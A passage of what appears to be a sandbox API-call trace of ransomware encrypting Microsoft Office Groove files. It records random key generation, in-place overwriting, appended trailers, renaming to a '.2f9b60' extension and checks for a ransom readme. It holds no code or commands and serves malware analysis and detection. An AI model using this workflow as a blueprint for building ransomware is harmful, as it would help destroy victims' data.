Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\2f9b60-readme.txt")) returned 0x20 [0241.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310e600) returned 1 [0241.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0900) returned 1 Thread: id = 3679 os_tid = 0x149c [0218.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg")) returned 0x20 [0219.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg", dwFileAttributes=0x20) returned 1 [0219.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ab8 [0219.602] GetFileSizeEx (in: hFile=0x1ab8, lpFileSize=0x2ad7fbc0 | out: lpFileSize=0x2ad7fbc0*=6985) returned 1 [0219.602] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x1b45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.602] ReadFile (in: hFile=0x1ab8, lpBuffer=0x2ad7fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ad7fb88, lpOverlapped=0x0 | out: lpBuffer=0x2ad7fb40*, lpNumberOfBytesRead=0x2ad7fb88*=0x4, lpOverlapped=0x0) returned 1 [0219.747] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0219.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0219.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0219.748] NtQuerySystemTime (in: CurrentTime=0x2ad7fa80 | out: CurrentTime=0x2ad7fa80*=132462178237426000) returned 0x0 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x1a92fe35 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x478c70e0 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x72413e66 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x4941b4cb [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x1f20fa6a [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x776523cf [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x241423da [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x17f735db [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x70b5cf2b [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x4bc75fd7 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x44d0d227 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x5f2c60af [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x1ae37b25 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x5e94034c [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x593757c9 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x3f39afe [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0xdd4f6df [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x392e48b0 [0219.748] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x628e05c9 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x6bb97762 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x261a3785 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x13b96a1c [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x3be47915 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x65799774 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x56d99fb6 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x1d5cbbcb [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x7dfee18c [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x65444dc9 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x62a37c98 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x56bb1d14 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x75ff1764 [0219.749] RtlRandomEx (in: Seed=0x2ad7fa70 | out: Seed=0x2ad7fa70) returned 0x783f9eb2 [0219.757] ReadFile (in: hFile=0x1ab8, lpBuffer=0x423db5c0, nNumberOfBytesToRead=0x1b49, lpNumberOfBytesRead=0x2ad7fa70, lpOverlapped=0x0 | out: lpBuffer=0x423db5c0*, lpNumberOfBytesRead=0x2ad7fa70*=0x1b49, lpOverlapped=0x0) returned 1 [0219.877] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.877] WriteFile (in: hFile=0x1ab8, lpBuffer=0x423ae500*, nNumberOfBytesToWrite=0x1b49, lpNumberOfBytesWritten=0x2ad7fa74, lpOverlapped=0x0 | out: lpBuffer=0x423ae500*, lpNumberOfBytesWritten=0x2ad7fa74*=0x1b49, lpOverlapped=0x0) returned 1 [0222.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9770 [0222.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9740 [0222.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9740) returned 1 [0222.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ae500) returned 1 [0222.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423db5c0) returned 1 [0222.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 [0222.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0222.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431add20 [0222.661] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.661] WriteFile (in: hFile=0x1ab8, lpBuffer=0x42c21980*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2ad7fb90, lpOverlapped=0x0 | out: lpBuffer=0x42c21980*, lpNumberOfBytesWritten=0x2ad7fb90*=0x11a, lpOverlapped=0x0) returned 1 [0223.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21980) returned 1 [0223.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431add60) returned 1 [0223.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9740) returned 1 [0223.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431add20) returned 1 [0223.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9770) returned 1 [0223.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0223.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x43115280 [0223.177] wcscpy (in: _Dest=0x43115280, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" [0223.177] wcscat (in: _Dest=0x43115280, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.2f9b60" [0223.177] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.2f9b60", NtPathName=0x2ad7fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf4) returned 0x1b78ec80 [0223.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ec80) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430839f0) returned 1 [0223.754] NtQueryInformationFile (in: FileHandle=0x1ab8, IoStatusBlock=0x2ad7fc18, FileInformation=0x2ad7fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ad7fc18, FileInformation=0x2ad7fc28) returned 0x0 [0223.754] NtSetInformationFile (FileHandle=0x1ab8, IoStatusBlock=0x2ad7fc18, FileInformation=0x2ad7fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115280) returned 1 [0223.834] FlushFileBuffers (hFile=0x1ab8) returned 1 [0224.010] CloseHandle (hObject=0x1ab8) returned 1 [0224.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1186e0 [0224.956] wcscpy (in: _Dest=0x1186e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0224.956] wcscat (in: _Dest=0x1186e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" [0224.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\2f9b60-readme.txt")) returned 0x20 [0224.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0224.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1182d0) returned 1 Thread: id = 3680 os_tid = 0x15c0 [0218.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp")) returned 0x20 [0219.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp", dwFileAttributes=0x20) returned 1 [0219.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c10 [0219.597] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x21c4f7c0 | out: lpFileSize=0x21c4f7c0*=1912) returned 1 [0219.597] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.597] ReadFile (in: hFile=0x1c10, lpBuffer=0x21c4f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21c4f788, lpOverlapped=0x0 | out: lpBuffer=0x21c4f740*, lpNumberOfBytesRead=0x21c4f788*=0x4, lpOverlapped=0x0) returned 1 [0219.603] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4a0 [0219.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3b0 [0219.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0219.604] NtQuerySystemTime (in: CurrentTime=0x21c4f680 | out: CurrentTime=0x21c4f680*=132462178236022000) returned 0x0 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x6af26384 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x6c10fbbb [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x5c0d1be6 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x5ac5f81a [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x493f7297 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x1bd23829 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x76aa4f9d [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x19f34c49 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x4ec05b81 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x44a67cd7 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x578c8933 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x63ed6e00 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x199a5795 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x74d0a5b8 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x5b05a5c9 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x417e7e30 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x605e5638 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x382556d0 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x395defc6 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x4a272449 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x6bb762bb [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x531f87f [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x228e699b [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x767990a6 [0219.604] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x1d6fd30e [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x52952b0a [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x3b2c870d [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x714098b [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x6bb762bb [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x7e80dd61 [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x49214b9b [0219.605] RtlRandomEx (in: Seed=0x21c4f670 | out: Seed=0x21c4f670) returned 0x1d05ab12 [0219.612] ReadFile (in: hFile=0x1c10, lpBuffer=0x4284ea60, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x21c4f670, lpOverlapped=0x0 | out: lpBuffer=0x4284ea60*, lpNumberOfBytesRead=0x21c4f670*=0x778, lpOverlapped=0x0) returned 1 [0219.612] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.612] WriteFile (in: hFile=0x1c10, lpBuffer=0x4284ae50*, nNumberOfBytesToWrite=0x778, lpNumberOfBytesWritten=0x21c4f674, lpOverlapped=0x0 | out: lpBuffer=0x4284ae50*, lpNumberOfBytesWritten=0x21c4f674*=0x778, lpOverlapped=0x0) returned 1 [0222.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda160 [0222.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b90 [0222.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b90) returned 1 [0222.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4284ae50) returned 1 [0222.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4284ea60) returned 1 [0222.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0222.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0222.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1ce61e70 [0222.560] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.560] WriteFile (in: hFile=0x1c10, lpBuffer=0x42c215f0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x21c4f790, lpOverlapped=0x0 | out: lpBuffer=0x42c215f0*, lpNumberOfBytesWritten=0x21c4f790*=0x122, lpOverlapped=0x0) returned 1 [0223.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c215f0) returned 1 [0223.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a50) returned 1 [0223.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b90) returned 1 [0223.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0223.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda160) returned 1 [0223.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3b0) returned 1 [0223.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0223.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fddb0) returned 1 [0223.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1ceb5300 [0223.083] wcscpy (in: _Dest=0x1ceb5300, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" [0223.083] wcscat (in: _Dest=0x1ceb5300, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.2f9b60" [0223.083] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.2f9b60", NtPathName=0x21c4f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x431a94f0 [0225.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a94f0) returned 1 [0225.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307abc0) returned 1 [0225.119] NtQueryInformationFile (in: FileHandle=0x1c10, IoStatusBlock=0x21c4f818, FileInformation=0x21c4f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21c4f818, FileInformation=0x21c4f828) returned 0x0 [0225.120] NtSetInformationFile (FileHandle=0x1c10, IoStatusBlock=0x21c4f818, FileInformation=0x21c4f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0226.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5300) returned 1 [0226.311] FlushFileBuffers (hFile=0x1c10) returned 1 [0226.320] CloseHandle (hObject=0x1c10) returned 1 [0227.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310e390 [0227.255] wcscpy (in: _Dest=0x4310e390, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\" [0227.255] wcscat (in: _Dest=0x4310e390, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" [0227.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\2f9b60-readme.txt")) returned 0x20 [0227.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310e390) returned 1 [0227.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1000) returned 1 Thread: id = 3681 os_tid = 0x4d4 [0218.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x43109900 [0218.312] wcscpy (in: _Dest=0x43109900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0218.312] wcscat (in: _Dest=0x43109900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0218.312] wcscat (in: _Dest=0x43109900, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*" [0218.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce201b0 [0218.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858f10 [0219.348] wcscmp (_String1=".", _String2=".") returned 0 [0219.348] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.554] wcscmp (_String1="..", _String2=".") returned 1 [0219.554] wcscmp (_String1="..", _String2="..") returned 0 [0219.554] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0219.554] wcscmp (_String1="AlertImage_Auto.jpg", _String2=".") returned 1 [0219.554] wcscmp (_String1="AlertImage_Auto.jpg", _String2="..") returned 1 [0219.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43158080 [0219.555] wcscpy (in: _Dest=0x43158080, _Source="C:\\Program Files\\Microsoft 